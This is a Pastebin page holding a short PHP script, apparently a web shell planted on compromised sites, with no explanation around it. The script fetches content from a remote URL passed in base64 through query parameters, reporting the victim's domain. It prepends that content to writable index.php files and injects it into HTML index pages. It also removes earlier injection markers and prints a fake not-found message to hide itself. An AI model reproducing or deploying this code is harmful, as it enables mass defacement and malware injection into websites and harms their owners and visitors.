PalmaSolutions

p824909.php

May 7th, 2018
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.11 KB | None | 0 0
  1. <?php
  2. $fnms=array(".","..","../..", "../../..");
  3. $sfnms=array("index.html", "index.htm", "index.shtml", "default.asp");
  4. if(isset($_GET['pdata']) && $_GET['pdata']) {
  5.   $d = file_get_contents(base64_decode($_GET['pdata'])."?domain=".base64_encode($_SERVER['HTTP_HOST']));
  6.   foreach($fnms as $p)
  7.    if(file_exists("$p/index.php") && is_writable("$p/index.php")){
  8.     $f=@file_get_contents($p."/index.php");
  9.     $f=preg_replace("|<\!-\S{20}---><\?[^\?>]+\?>|sU",'',$f);
  10.     $fw=@fopen($p."/index.php","w");
  11.     @fwrite($fw, $d.$f);
  12.     @fclose($fw);
  13.    }
  14. }
  15. if(isset($_GET['ddata']) && $_GET['ddata']) {
  16.   $d = file_get_contents(base64_decode($_GET['ddata'])."?domain=".base64_encode($_SERVER['HTTP_HOST']));
  17.   foreach($fnms as $p)
  18.    foreach($sfnms as $fn){
  19.     if(file_exists("$p/$fn") && is_writable("$p/$fn")){
  20.       $f=@file_get_contents("$p/$fn");
  21.       $f=preg_replace("|<\!-\S{20}--->.+<\/script>|sU",'',$f);
  22.       $f=preg_replace("|(<body[^>]*>)|i","\${1}$d",$f);
  23.       $fw=@fopen("$p/$fn","w");
  24.       @fwrite($fw, $f);
  25.       @fclose($fw);
  26.     }
  27.    }
  28. }
  29.  
  30. die("808/2 N0T F0UND Oyaeb00panda");
  31.  
  32. ?>
Advertisement
Add Comment
Please, Sign In to add comment